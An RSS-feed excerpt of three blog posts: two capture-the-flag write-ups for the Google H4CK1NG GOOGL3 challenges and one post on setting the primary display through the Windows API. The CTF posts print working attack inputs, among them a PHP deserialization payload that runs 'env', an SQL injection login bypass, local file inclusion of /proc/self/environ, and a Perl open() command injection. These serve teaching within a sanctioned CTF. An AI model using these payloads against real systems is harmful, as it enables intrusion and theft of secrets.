]]></content:encoded></item><item><title><![CDATA[Hacking Google CTF - Episode 1]]></title><description><![CDATA[This is a write-up about how I solved the second episode of the H4CK1NG GOOGL3 security CTF. If you didn't read my post about the first episode, I highly recommend you to read it, since it contained one of the most fun challenges of this CTF.
Challen...]]></description><link>https://blog.lohr.dev/hacking-google-ctf-episode-1</link><guid isPermaLink="true">https://blog.lohr.dev/hacking-google-ctf-episode-1</guid><category><![CDATA[Write Up]]></category><category><![CDATA[hacking]]></category><category><![CDATA[CTF]]></category><dc:creator><![CDATA[Michael Lohr]]></dc:creator><pubDate>Wed, 02 Nov 2022 15:17:42 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1665380976583/NtJbepulw.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>This is a write-up about how I solved the second episode of the <a target="_blank" href="https://h4ck1ng.google">H4CK1NG GOOGL3</a> security CTF. If you didn't read <a target="_blank" href="https://blog.lohr.dev/hacking-google-ctf-episode-0">my post about the first episode</a>, I highly recommend you to read it, since it contained one of the most fun challenges of this CTF.</p>
<h1 id="heading-challenge-01-wannacry">Challenge 01: Wannacry</h1>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1665302712826/vi1yteSGq.png" alt="A screenshot of the hex values of the challenge file" class="image--center mx-auto" /></p>
<p><strong>Hint:</strong> The Linux <code>file</code> and <code>strings</code> utilities are very useful</p>
<p>In the first challenge, only a binary file is provided. After looking at the hex values of the binary file and printing the strings of the file header using <code>strings challenge.bin | head</code> it became apparent that this is a gzip compressed file. <code>file challenge.bin</code> further revealed that it is <code>.zip</code> compressed. Unzipping this file resulted in a <code>challenge.tar.gz</code> file which I could extract with <code>tar -xzvf challenge.tar.gz</code>. This gave me two files: <code>flag</code> and <code>wannacry</code>.</p>
<p>The <code>file</code> command revealed that the <code>wannacry</code> is an actual executable and the <code>flag</code> is an OpenPGP secret key. The file name of the executable led to some hesitation at first but after running it through several malware scanners, I determined that it is safe to execute.</p>
<pre><code class="lang-plaintext">&gt; ./wannacry
Usage of ./wannacry:
  -encrypted_file string
        File name to decrypt.
  -key_file string
        File name of the private key.
</code></pre>
<p>Interesting, so the <code>wannacry</code> executable can use some private key to decrypt our secret key flag file. But where do we get the private key from?</p>
<p>From the first episode, we know what a flag looks like. So why not search for it in the strings of the binary using <code>strings wannacry | grep h4ck1ng</code>. This returned not the flag, but the URL <code>https://wannacry-keys-dot-gweb-h4ck1ng-g00gl3.uc.r.appspot.com/</code> which is a list of 200 private key files.</p>
<p>My friend quickly decided to brute force the key and wrote a script to try every private key on the secret key flag. Eventually, we found one that worked and got the unencrypted <code>flag</code> file that contained the actual flag!</p>
<h1 id="heading-challenge-02-wannacry-the-second">Challenge 02: Wannacry the second</h1>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1665304098574/cK2JgxNyD.png" alt="A screenshot of the hex values of the second challenge file" class="image--center mx-auto" /></p>
<p>** Hints:**</p>
<ul>
<li><p>The <code>strings</code> might be intresting again</p>
</li>
<li><p>Execute the hidden function</p>
</li>
</ul>
<p>Challenge 01 was a nice warm-up, but challenge 02 is a whole other level. It comes with a binary file, which unzips to a binary executable called <code>wannacry</code>, again. However, this time, executing the binary prints nothing and just returns the error code 0. So it looked like I would have to figure out some secret parameters in order to get the executable to print something. Looking at the <code>strings</code> again reveals another URL: https://wannacry-killswitch-dot-gweb-h4ck1ng-g00gl3.uc.r.appspot.com//. A website that just displays the text "Our princess is in another castle." - a reference (and <a target="_blank" href="https://knowyourmeme.com/memes/but-our-princess-is-in-another-castle">a meme</a>) to from the game Super Mario.</p>
<p>The executable seems to contain a whole dictionary at the end, containing various strings. The string <code>princess</code> is definitely in there together with lots of other alphabetically sorted words.</p>
<p>Looking at the output of the <code>file</code> command more specifically, shows us that it is "not stripped" and therefore contains debug symbols:</p>
<pre><code class="lang-plaintext">&gt; file wannacry
wannacry: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=0c23340ab6c6d0c158f0ee356a1deb0253d8cf4c, for GNU/Linux 3.2.0, not stripped
</code></pre>
<p>Looking at some of the debug symbols in the binary strings, I spotted that the <code>time</code> library is used. This led to my first suspicion that this might be some time-based encryption. At this point, I saw no other way than reverse engineer the executable with static analysis - which I have never done before.</p>
<p>So I downloaded <a target="_blank" href="https://ghidra-sre.org/">Ghidra</a>, which is a software suite developed by the NSA to reverse engineer software. The static analysis showed that the executable always immediately exists. But there is more code - there is just no way to execute it (legitimately). Looking at that code revealed that they actually generate time-based passwords (<a target="_blank" href="https://de.wikipedia.org/wiki/Time-based_One-time_Password_Algorithmus">TOTP</a>) using SHA-1 and print them.</p>
<p>Now there are two options:</p>
<ol>
<li><p>Reverse engineer the TOPT algorithm and implement it myself</p>
</li>
<li><p>Somehow get the <code>print()</code> function to execute.</p>
</li>
</ol>
<p>The second option seemed way more interesting to me. Since the binary contained symbols, we should be able to attach a debugger to the process. So I read into how <code>gdb</code> is used and run the following commands:</p>
<pre><code class="lang-plaintext">break main # we want to set a breakpoint in the main method before the software exists
run # run the program until we hit our breakpoint
j print # continue to execute the program in the print function
</code></pre>
<p>That revealed a URL together with one of the words from the dictionary:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1665305051345/E-mEPJpg_.png" alt="The GDB output" class="image--center mx-auto" /></p>
<p>Visiting this URL right after running the program generated it, shows this page:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1665305138806/gYd36AE9X.png" alt="Visiting the valid URL" class="image--center mx-auto" /></p>
<p>Clicking the button that is displayed, reveals the flag. If you wait too long, the page will just show the message about the princess again.</p>
<h1 id="heading-challenge-03-chess-20">Challenge 03: Chess 2.0</h1>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1665305331676/uauhmB7R3.png" alt="The chessboard of the second challenge" class="image--center mx-auto" /></p>
<p><strong>Hints:</strong></p>
<ul>
<li><p>Look at the PHP source code</p>
</li>
<li><p>Magic methods are interesting</p>
</li>
</ul>
<p>Another chess challenge - exciting! This time, however, there is no admin panel. Also looking at the diff between the old and new HTML file, we can see that this time the flag is not printed upon winning the game:</p>
<pre><code class="lang-html">echo "<span class="hljs-tag">&lt;<span class="hljs-name">h1</span>&gt;</span>Winning against me won't help anymore. You need to get the flag from my envs." . "<span class="hljs-tag">&lt;/<span class="hljs-name">h1</span>&gt;</span>";
</code></pre>
<p>Also, the <code>load_board.php</code> file was changed: It now only allows loading files with the extension <code>.php</code>. So we cannot read the environment variable from <code>/proc/self/environ</code>.</p>
<p>Luckily the exploit from the chess challenge from episode 1 to get the web app's source code still works. Looking at the diff again, the code is the same as in challenge 01. While solving challenge 01, I already suspected that you might be able to modify how the stockfish (the chess engine, see <a target="_blank" href="https://blog.lohr.dev/hacking-google-episode-0">my post about the first episode</a> for more details) binary is called. Would there be a way to exploit this?</p>
<p>After going through the PHP source code a dozen times, there is one piece of code I couldn't make sense of. The <code>__wakeup()</code> method of the <code>class Stockfish</code> that contains the whole code which talks to the chess engine process:</p>
<pre><code class="lang-PHP">    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__wakeup</span>(<span class="hljs-params"></span>)
    </span>{
        <span class="hljs-keyword">$this</span>-&gt;process = proc_open(<span class="hljs-keyword">$this</span>-&gt;binary, <span class="hljs-keyword">$this</span>-&gt;descriptorspec, <span class="hljs-keyword">$this</span>-&gt;pipes, <span class="hljs-keyword">$this</span>-&gt;cwd, <span class="hljs-literal">null</span>, <span class="hljs-keyword">$this</span>-&gt;other_options) ;
        <span class="hljs-keyword">echo</span> <span class="hljs-string">'&lt;!--'</span>.<span class="hljs-string">'wakeupcalled'</span>.fgets(<span class="hljs-keyword">$this</span>-&gt;pipes[<span class="hljs-number">1</span>], <span class="hljs-number">4096</span>).<span class="hljs-string">'--&gt;'</span>;
    }
</code></pre>
<p>Reading the PHP docs about <a target="_blank" href="https://www.php.net/manual/en/language.oop5.magic.php">magic methods</a> reveals that <code>__sleep()</code> and <code>__wakeup()</code> are used to run code before serialization and after deserialization. The sleep method can be used to clean up and the wakeup method to reestablish database connections. Or in our case, it opens the stockfish binary to re-establish a connection with the chess engine. The weird thing is, that it also echos the stdout of the process. Maybe that was used for debugging?</p>
<p>Ok fine, we now have understood all the backend code and the wakeup thing is legit - and now? Well, now I was stuck. After some more spending some more hours looking at the code, I spotted another suspicious piece of code. Rember where I tried to teleport the chess pieces using the <code>move_end</code> method in episode 1?</p>
<p>Turns out there is actually a vulnerability there:</p>
<pre><code class="lang-PHP">$movei = unserialize(base64_decode($_GET[<span class="hljs-string">'move_end'</span>]));
</code></pre>
<p>This code, used for evaluating where a chess piece was dragged to, deserializes WHATEVER we pass to it. Looking at the <a target="_blank" href="https://www.php.net/manual/en/function.unserialize.php#data">docs for unserialize()</a>, they explicitly state:</p>
<blockquote>
<p>If the variable being unserialized is an object, after successfully reconstructing the object PHP will automatically attempt to call the <code>__unserialize()</code> or <code>__wakeup()</code> methods (if one exists).</p>
</blockquote>
<p>Oh damn. This means we can pass a PHP class to it that the current environment recognizes, set its variables and have the <code>__wakeup()</code> method execute. And in this case, wakeup() actually executes a process and returns the stdout to us.</p>
<p>So, I copied the code and serialized an instance of the <code>stockfish</code> class which contains the <code>env</code> command for the variable that normally would hold the path to the stockfish binary. This is then base64 encoded and passed to the <code>move_end</code> parameter, like so:</p>
<pre><code class="lang-plaintext">https://hackerchess2-web.h4ck.ctfcompetition.com/?move_end=Tzo5OiJTdG9ja2Zpc2giOj...
</code></pre>
<p>And voila, we now see ... one environment variable? Turns out only the first line of the command output is written to the HTML. So the final step was to transform the output of the <code>env</code> command to one line: <code>env | xargs</code>.</p>
<p>Now we can see a list of all environment variables as comments in the HTML. And there is the flag:</p>
<pre><code class="lang-HTML"><span class="hljs-comment">&lt;!--wakeupcalledGATEWAY_INTERFACE=CGI/1.1 CONTENT_TYPE=multipart/form-data; boundary=--------------------------355823505429505671295364 SHLVL=1 REMOTE_ADDR=10.119.223.201 QUERY_STRING=move_end=Tzo5OiJTdG9 [...]
SERVER_ADDR=10.120.3.109 REDIRECT_FLAG2=https://h4ck1ng.google/solve/rc[...]
--&gt;</span>
</code></pre>
<h1 id="heading-conclusion">Conclusion</h1>
<p>Another fun challenge! This one was definitely harder than the previous one - whose write-up you can read <a target="_blank" href="https://blog.lohr.dev/hacking-google-ctf-episode-0">over here</a>. Or continue with episode 3 and read my write-up for the next episode <a target="_blank" href="https://blog.lohr.dev/hacking-google-ctf-episode-2">over here</a>.</p>
<p>Episode Overview:</p>
<ul>
<li><p><a target="_blank" href="https://blog.lohr.dev/hacking-google-ctf-episode-0">Episode 0</a></p>
</li>
<li><p><a target="_blank" href="https://blog.lohr.dev/hacking-google-ctf-episode-1">Episode 1</a></p>
</li>
<li><p><a target="_blank" href="https://blog.lohr.dev/hacking-google-ctf-episode-2">Episode 2</a></p>
</li>
<li><p><a target="_blank" href="https://blog.lohr.dev/hacking-google-ctf-episode-3">Episode 3</a></p>
</li>
<li><p><a target="_blank" href="https://blog.lohr.dev/hacking-google-ctf-episode-4">Episode 4</a></p>
</li>
<li><p><a target="_blank" href="https://blog.lohr.dev/hacking-google-ctf-episode-5">Episode 5</a></p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Hacking Google CTF - Episode 0]]></title><description><![CDATA[Yesterday, I found out about the H4CK1NG GOOGL3 security CTF on Hackernews. It is a gamified set of hacking challenges. In each challenge, you are presented with a piece of software or system that can be used to access some secret "flag" in its close...]]></description><link>https://blog.lohr.dev/hacking-google-ctf-episode-0</link><guid isPermaLink="true">https://blog.lohr.dev/hacking-google-ctf-episode-0</guid><category><![CDATA[hacking]]></category><category><![CDATA[Write Up]]></category><category><![CDATA[CTF]]></category><dc:creator><![CDATA[Michael Lohr]]></dc:creator><pubDate>Fri, 28 Oct 2022 08:55:50 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1665380991049/a7jILX7jy.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Yesterday, I found out about the <a target="_blank" href="https://h4ck1ng.google">H4CK1NG GOOGL3</a> security CTF on <a target="_blank" href="https://news.ycombinator.com/item?id=33041733">Hackernews</a>. It is a <a target="_blank" href="https://blog.lohr.dev/gamification">gamified</a> set of hacking challenges. In each challenge, you are presented with a piece of software or system that can be used to access some secret "flag" in its closed infrastructure.</p>
<p>I had never participated in a CTF (Capture The Flag) before but this one seemed like a good opportunity since it did not have a deadline and the challenges are more about typical security issues than finding some exploits in very involved algorithms. That being said, I am by no means a security expert. However, I always found this topic very interesting and once found a severe but interesting security flaw in a production web application (I might publish a story about this eventually).</p>
<p>This blog post outlines how I solved the challenges together with a friend. If you haven't solved them yet for yourselves, I would not recommend reading the whole article - however, I will provide some more hints at the beginning of each chapter. If you don't have the time to try your luck in solving these challenges yourself, you might find this article interesting. I am not sure whether I find the time (and have the skills) to solve all challenges, but after 6 hours I was able to finish episode 0, which contains the two challenges presented in this article.</p>
<h1 id="heading-challenge-01-hacker-chess">Challenge 01: Hacker Chess</h1>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1664734020746/HyXxn6vga.png" alt="The hacker chess website" class="image--center mx-auto" /></p>
<blockquote>
<p>Hints:</p>
<ul>
<li>You don't have to play chess very well (I don't)</li>
<li>Don't get distracted</li>
<li>Level the playing field</li>
</ul>
</blockquote>
<p>The first challenge is presented as a <a target="_blank" href="https://hackerchess-web.h4ck.ctfcompetition.com">website</a> where one can play chess against some AI. The first thing to catch my eye was the "Master Login" button in the lower right corner that jumps into the eye. Could this be the classic SQL injection scenario?</p>
<p>But let's first have a look at the chess game itself: At the beginning, the game plays like normal, but at move seven, something weird happens:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1664734647689/HL3ZfQvzX.png" alt="The chess AI cheats at the game" class="image--center mx-auto" /></p>
<p>All enemy pawns somehow became queens - the AI is cheating! As if I had a chance against a chess AI anyways... At this point, it became quite obvious that I was not able to beat the opponent without some help.</p>
<p>Let's hit "F12" and inspect the HTML source code of this website. I made the following notes:</p>
<ul>
<li>The chessboard is made of an HTML table... 🙃</li>
<li>Clicking on the table cells calls the current page with the parameter <code>?move_start=&lt;clicked cell&gt;</code><ul>
<li>E.g. clicking on square E3 will open the page <code>...com/index.php?move_start=e3</code></li>
<li>This page then highlights the allowed moves and when clicking another square will something like <code>...com/index.php?move_end=YToyOntpOjA7czoyOiJkMiI7aToxO3M6MjoiZDQiO30</code></li>
</ul>
</li>
<li>There is a difficulty switch... Options are "Impossible", "Unbeatable" and "Invincible"<ul>
<li>Not sure which is the easiest, but all settings seem to result in pretty good moves</li>
</ul>
</li>
<li>The game loads automatically, but there is also a "Start" button<ul>
<li>This button executes the <code>load_baseboard()</code> JavaScript function</li>
<li>This function makes a request to <code>load_board.php</code> passing a filename(<code>baseboard.fen</code>) in the request and reloads the page</li>
</ul>
</li>
</ul>
<h2 id="heading-chess-piece-teleportation">Chess Piece Teleportation</h2>
<p>So many possibilities!
First I tried the obvious: Telling the backend to teleport my chess pieces so that I can checkmate the enemy! For that, I needed to understand how the <code>?move_end=...</code> parameter works.</p>
<p>The value of the <code>move_end</code> parameter looked suspiciously like a base64 encoded string, since it only contained characters and numbers and is often used in URL parameters. Decoding the value results in <code>a:2:{i:0;s:2:"d2";i:1;s:2:"d4";}</code>, which contained my move (from square D2 to D4). Since it does not look like JSON, my initial guess was that this is some sort of array data structure. Later, I found out that this guess was correct and this is apparently how PHP serializes its data structures. </p>
<p>I tried changing the values in that string to teleport my chess pieces, but the chess app detected that as an illegal move.</p>
<h2 id="heading-setting-a-custom-starting-board-or-not">Setting a custom starting board... or not?</h2>
<p>Remember the <code>load_board.php</code> endpoint? After some tinkering, we found that you can actually call this one by setting the <code>file</code> value to <code>baseboard.fen</code> at any time to generate a new PHP session. This PHP session is identified by a <code>PHPSESSID</code> cookie! My friend also recognized the <code>.fen</code> extension as a file format that is used to specify chess boards.</p>
<p>So what if we could load a different <code>.fen</code> file where we are a few moves away from winning the game? We somehow have to inject our custom file into the filesystem somehow... Maybe you can guess the solution? 
We could not figure that one out just yet! But we discovered something even better: A <a target="_blank" href="https://brightsec.com/blog/local-file-inclusion-lfi/">LFI</a> vulnerability! When calling the <code>load_board.php</code> endpoint with a <code>GET</code> request, the endpoint actually returns the loaded data in its body. But we could also specify <code>index.php</code> as <code>file</code> (or any other file in the local file system) which would print the raw source code of the <code>index.php</code> file!</p>
<p>This revealed a couple of interesting things:</p>
<ul>
<li>The AI cheating can be turned off by admins</li>
<li>The difficulty setting is only a distraction and does not do anything in the backend</li>
<li>The script uses the <a target="_blank" href="https://github.com/p-chess/chess">chess</a> PHP library together with the <a target="_blank" href="https://stockfishchess.org/">stockfish</a> chess engine</li>
<li>The flag is stored in an environment variable and revealed as soon as the player wins the game: <code>echo "&lt;h1&gt;ZOMG How did you defeat my AI :(. You definitely cheated. Here's your flag: ". getenv('REDIRECT_FLAG') . "&lt;/h1&gt;";</code></li>
</ul>
<p>And yes, we could now also print the source code for the <code>admin.php</code> file:</p>
<ul>
<li>The login is susceptible to SQL injection</li>
<li>Admins can turn off cheating and change the thinking time of the AI</li>
</ul>
<h2 id="heading-hacking-the-master-login">Hacking the Master Login</h2>
<p>We now knew that we did not have to hack the admin page, since you only have to win the game in order to obtain the flag. However, it seemed like turning off cheating and changing the thinking time can help us win the game.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1664735803857/PSDckTqoQ.png" alt="the login form" class="image--center mx-auto" /></p>
<p>The master login on the <code>admin.php</code> page was a simple username and password login page. From our previous exploit, we now know that the login is vulnerable to SQL injection attacks:</p>
<pre><code class="lang-PHP">sprintf(<span class="hljs-string">"SELECT username FROM chess_ctf_admins WHERE username='%s' AND password='%s'"</span>, $_POST[<span class="hljs-string">'username'</span>], $_POST[<span class="hljs-string">'password'</span>]);
</code></pre>
<p>After fiddling around with some attack attempts we were able to log in by entering <code>' or ''='</code> as username and password.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1664780786394/H8OW19UBR.png" alt="the admin interface" class="image--center mx-auto" /></p>
<p>While turning off cheating helped quite a bit, the thinking time parameter did not seem to do much for us. According to the documentation of the stockfish engine, setting it to <code>-1</code> is supposed to turn off thinking altogether and just use the next best move. While this might actually be the case, I was still too bad at chess to beat the AI (however, I heard from others that without the cheats they were able to win the game and get the flag).</p>
<h2 id="heading-custom-starting-boards-this-time-for-real">Custom starting boards... This time for real!</h2>
<p>After some thinking, a really funny thought came to my mind. What if the file loading functionality of the <code>load_board.php</code> script actually supports loading from URLs? Might be worth a shot. And indeed, looking at the source code we see this:</p>
<pre><code class="lang-php"><span class="hljs-keyword">if</span> (<span class="hljs-keyword">isset</span>($_POST[<span class="hljs-string">'filename'</span>])) {
  $fen = trim(file_get_contents($_POST[<span class="hljs-string">'filename'</span>]));
  <span class="hljs-comment"># <span class="hljs-doctag">XXX:</span> Debug remove this</span>
  <span class="hljs-keyword">echo</span> <span class="hljs-string">'Loading Fen: '</span>. $fen;
}
</code></pre>
<p>Thanks to Mr. XXX, who forgot to remove the debug code, we were able to see the source code of this function in the first place. But now, we can actually validate that this script uses <a target="_blank" href="https://www.php.net/manual/en/function.file-get-contents.php">file_get_contents</a>, which supports loading from URLs.</p>
<p>So to actually attempt this hack, we used <a target="_blank" href="http://www.netreal.de/Forsyth-Edwards-Notation/index.php">this tool</a> to build our own <code>.fen</code> file. This was then uploaded to an anonymous <a target="_blank" href="https://pastebin.com/">pastebin</a> and put into the <code>filename</code> parameter. Now by calling this script with the aforementioned parameters, we initialize a new session. When we now load the <code>index.php</code> file with the session cookie from <code>load_board.php</code> we are presented with our custom board!</p>
<p>Interestingly we weren't able to beat the AI: As soon as we set the opponent "mate" (so that his king cannot move anymore), the AI didn't react anymore but we also didn't get any winning message. Turns out, I didn't quite remember what a checkmate was. Luckily the chess PHP library is pretty well written and <a target="_blank" href="https://github.com/p-chess/chess/blob/ed2b5f9ca6bab25182b2cdf1dfc3a16d28861bab/src/Chess.php#L673">explains the conditions</a> very well:</p>
<pre><code class="lang-PHP">    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">inCheck</span>(<span class="hljs-params"></span>): <span class="hljs-title">bool</span>
    </span>{
        <span class="hljs-keyword">return</span> <span class="hljs-keyword">$this</span>-&gt;kingAttacked(<span class="hljs-keyword">$this</span>-&gt;turn);
    }

    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">inCheckmate</span>(<span class="hljs-params"></span>): <span class="hljs-title">bool</span>
    </span>{
        <span class="hljs-keyword">return</span> <span class="hljs-keyword">$this</span>-&gt;inCheck() &amp;&amp; \count(<span class="hljs-keyword">$this</span>-&gt;generateMoves()) === <span class="hljs-number">0</span>;
    }
</code></pre>
<p>I actually set the opponent in a stalemate, which is not handled in the code. After adding additional pieces to our starting board so that we are attacking the opponent's king, the winning message containing the flag (a URL) popped up!</p>
<p>Later we discovered that we just could have used the <code>load_board.php</code> script to extract the flag from the <code>/proc/self/environ</code> file.</p>
<h1 id="heading-challenge-02-aurora">Challenge 02: Aurora</h1>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1664782182863/RBD17x05oL.png" alt="the search engine" class="image--center mx-auto" /></p>
<blockquote>
<p>Hints:</p>
<ul>
<li>Look at the code</li>
<li>You only need one file</li>
</ul>
</blockquote>
<p>The second challenge of episode 00 presents <a target="_blank" href="https://aurora-web.h4ck.ctfcompetition.com/">a search engine</a> that can be used to see the lines of several pre-determined logfiles that contain keywords (consisting of at least four characters).</p>
<p>A quick look into the HTML source code reveals a JavaScript function that performs GET requests in the form of: <code>https://aurora-web.h4ck.ctfcompetition.com/?file={filename}&amp;term={term}</code>.</p>
<p>An interesting comment in the last line of that file also catches my eye: <code>&lt;!-- /src.txt --&gt;</code>. This leads us to the source code of the backend, which is written in Perl: https://aurora-web.h4ck.ctfcompetition.com/src.txt</p>
<p>I have zero experience with Perl, so let's hope that we do not have to find an exploit in the code itself! My first assumption (and hope) was that I could exploit the search tool to find some information about the system. I even wrote a small script to search important keywords through all files. But after spending way too much time slowly revealing the contents of the files, I gave up (and should have sooner).</p>
<p>Another friend of mine actually gave me a hint: </p>
<blockquote>
<p>The Perl <code>open()</code> function is very powerful.</p>
</blockquote>
<p>Turns out the <a target="_blank" href="https://perldoc.perl.org/functions/open">open</a> function can be used to execute Linux commands! Oh, dear a <a target="_blank" href="https://www.bugcrowd.com/glossary/remote-code-execution-rce/">RCE</a> challenge!</p>
<p>With that info, I now could run any command on that system (well not quite, Google designed the challenge with care, and only some stuff actually works)! So let's have a look at the file system with <code>ls</code>:</p>
<p>We still need to make sure that the response contains four characters that contain our search term. This is easy: We just echo a string, which we then search for: <code>echo owned: $(ls)</code>.</p>
<p>Now to execute it in the <code>open()</code> command we need to wrap it in some Perl syntax: <code>; echo owned: $(ls /) |</code>. After encoding this with the JavaScript <code>escape()</code> function, we are ready to go! The get request looks like this:</p>
<pre><code>GET https:<span class="hljs-comment">//aurora-web.h4ck.ctfcompetition.com/?file=%3B%20echo%20owned%3A%20%24%28ls%20/%29%20%7C&amp;term=owned</span>
</code></pre><p>Resulting in:</p>
<pre><code>owned: bin boot dev etc flag home lib lib32 lib64 libx32 media mnt opt proc root run sbin srv sys tmp usr <span class="hljs-keyword">var</span> web-apps
</code></pre><p>Wait a minute! <code>/flag</code> is not typically found on a Linux file system! This flag file contains a URL that leads to the hacking challenge's website and marks the challenge as completed.</p>
<h1 id="heading-conclusion">Conclusion</h1>
<p>This was a very fun challenge! It's well-designed - with a lot of distractions and hints. But this is only the first episode of five, containing three challenges each. You can read my write-up for the next episode <a target="_blank" href="https://blog.lohr.dev/hacking-google-ctf-episode-1">over here</a>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1664734380942/wa3SS0bXi.png" alt="image.png" class="image--center mx-auto" /></p>
<p>Episode Overview:</p>
<ul>
<li><a target="_blank" href="https://blog.lohr.dev/hacking-google-ctf-episode-0">Episode 0</a></li>
<li><a target="_blank" href="https://blog.lohr.dev/hacking-google-ctf-episode-1">Episode 1</a></li>
<li><a target="_blank" href="https://blog.lohr.dev/hacking-google-ctf-episode-2">Episode 2</a></li>
<li><a target="_blank" href="https://blog.lohr.dev/hacking-google-ctf-episode-3">Episode 3</a></li>
<li><a target="_blank" href="https://blog.lohr.dev/hacking-google-ctf-episode-4">Episode 4</a></li>
<li><a target="_blank" href="https://blog.lohr.dev/hacking-google-ctf-episode-5">Episode 5</a></li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Changing the primary display on Windows by code is easy... right?]]></title><description><![CDATA[I have this issue where Windows is sometimes randomly changing my primary display after a system restart. So I wanted to create a simple command-line application that would allow me to change the display settings on system startup - should be easy, r...]]></description><link>https://blog.lohr.dev/primary-display-windows</link><guid isPermaLink="true">https://blog.lohr.dev/primary-display-windows</guid><category><![CDATA[Windows]]></category><category><![CDATA[Rust]]></category><category><![CDATA[tools]]></category><category><![CDATA[operating system]]></category><dc:creator><![CDATA[Michael Lohr]]></dc:creator><pubDate>Fri, 10 Jun 2022 13:42:35 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/unsplash/DuHKoV44prg/upload/v1653925966722/Hj_3zBSM-.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>I have this issue where Windows is sometimes randomly changing my primary display after a system restart. So I wanted to create a simple command-line application that would allow me to change the display settings on system startup - should be easy, right 🤔?</p>
<p>There are great tools like <a target="_blank" href="https://www.nirsoft.net/utils/multi_monitor_tool.html">MultiMonitorTool</a> that already provide this functionality, but they come with a lot of UI and utilities, that I don't need - I want a lightweight tool that I can include in my <a target="_blank" href="https://blog.lohr.dev/automated-windows-setup">automated Windows setup</a>.</p>
<p>I did some research and found various blog articles and forum entries about how to change the primary display. They (e.g. <a target="_blank" href="https://www.asawicki.info/news_1637_how_to_change_display_mode_using_winapi">here</a> and <a target="_blank" href="https://www.codeproject.com/Articles/38903/Set-Primary-Display-ChangeDisplaySettingsEx">here</a>) suggest to use the <a target="_blank" href="https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-changedisplaysettingsexw">ChangeDisplaySettingsEx</a> call to the user API (<code>winuser.h</code>).</p>
<p>After some testing, I just couldn't get it to work even though it's supposed to be one simple call to the winuser library. So I used <a target="_blank" href="http://www.rohitab.com/apimonitor">API Monitor</a> to see what API calls MultiMonitorTool makes. There are more than 50 calls to the winuser APIs alone. But I eventually found the <code>ChangeDisplaySettingsEx</code> call and tried to replicate its content exactly (even byte by byte) - still no success.</p>
<p>After some more research and having a look at random source code snippets from GitHub, I finally found out how to change the primary monitor properly - and it's way more complicated than I could have ever imagined.</p>
<p>So before diving into the details - here it is: <a target="_blank" href="https://github.com/michidk/displayz">displays</a> - a lightweight CLI tool and Rust library to change display properties like primary display, resolution and orientation. I developed the application in Rust using the <a target="_blank" href="https://crates.io/crates/WinSafe">winsafe crate</a>, which basically creates a safe wrapper around the Windows API. However, I had to contribute various changes to that crate in order to implement the following API calls.</p>
<p>I am by no means an expert with regard to the Windows API. There are probably other calls that work as well and simplify some things. But I wanted to keep the tool generic so that it can be used to change the orientation, resolution, primary etc of any amount of monitors connected. So let's get started:</p>
<p>First, you have to find out the identifier of the display you want to make the new primary. In order to do that, you have to call <a target="_blank" href="https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-enumdisplaydevicesw">EnumDisplayDevices</a> multiple times with an increasing counter as a parameter in a loop. Stop looping as soon as a call returns an error.</p>
<p>After that, you can call <a target="_blank" href="https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-enumdisplaysettingsw">EnumDisplaySettings</a> (or the <code>Ex</code> version) by passing the identifier to retrieve the so-called <a target="_blank" href="https://docs.microsoft.com/en-us/windows/win32/api/wingdi/ns-wingdi-devmodew">DEVMODE structure</a>. This struct contains information about the display, like position, which is required for the following calls.</p>
<p>Now we are finally ready to call <code>ChangeDisplaySettingsEx</code>, right? Turns out you need to call this for every display that is connected and active (I will elaborate on the reason for this later), which means you also gotta call <code>EnumDisplaySettings</code> for every monitor. Finally, we can execute the program... And nothing happens. </p>
<p>Turns out you have to call <code>ChangeDisplaySettingsEx</code> one more time while passing NULL to every parameter, in order to actually "commit" the changes (the monitor will flicker and apply the new properties afterwards).</p>
<p>MultiMonitorTool does it the same way (other than it issues some additional calls, that are not important for this) - so did we solve the problem? Nope, still doesn't work 😐. After comparing the parameters of other's tools' calls as well as mine', I noticed that the position properties of the <code>ChangeDisplaySettingsEx</code> call are different.</p>
<p>And here comes the weird part: The values change depending on which monitor I set as primary. So there is clearly some magic happening, that calculates new position values. This seems to be the difference between the other's approach and my broken one.</p>
<p>Finally, I found a hint in some Chinese codebase that hinted at <a target="_blank" href="https://docs.microsoft.com/en-us/windows/win32/gdi/the-virtual-screen">the virtual screen model</a> that Windows uses. Turns out that the primary display also defines the origin of the coordinate system that the other monitors use when specifying the position. So instead of just passing the position from the <code>EnumDisplaySettings</code> call, we need to recalculate it accordingly for each active display. To figure that out took me waaay to long - I wish Microsoft had some information about this in their documentation.</p>
<p>Implementing this is not hard: The new primary display always is located at position (0, 0). The other ones should be moved by the negative position of the old primary display to align them to the new origin:</p>
<pre><code><span class="hljs-attr">new_display_position</span> = -old_primary_position + old_display_position<span class="hljs-comment">;</span>
</code></pre><p>And voila - it works just fine now. </p>
<p> 🙃</p>
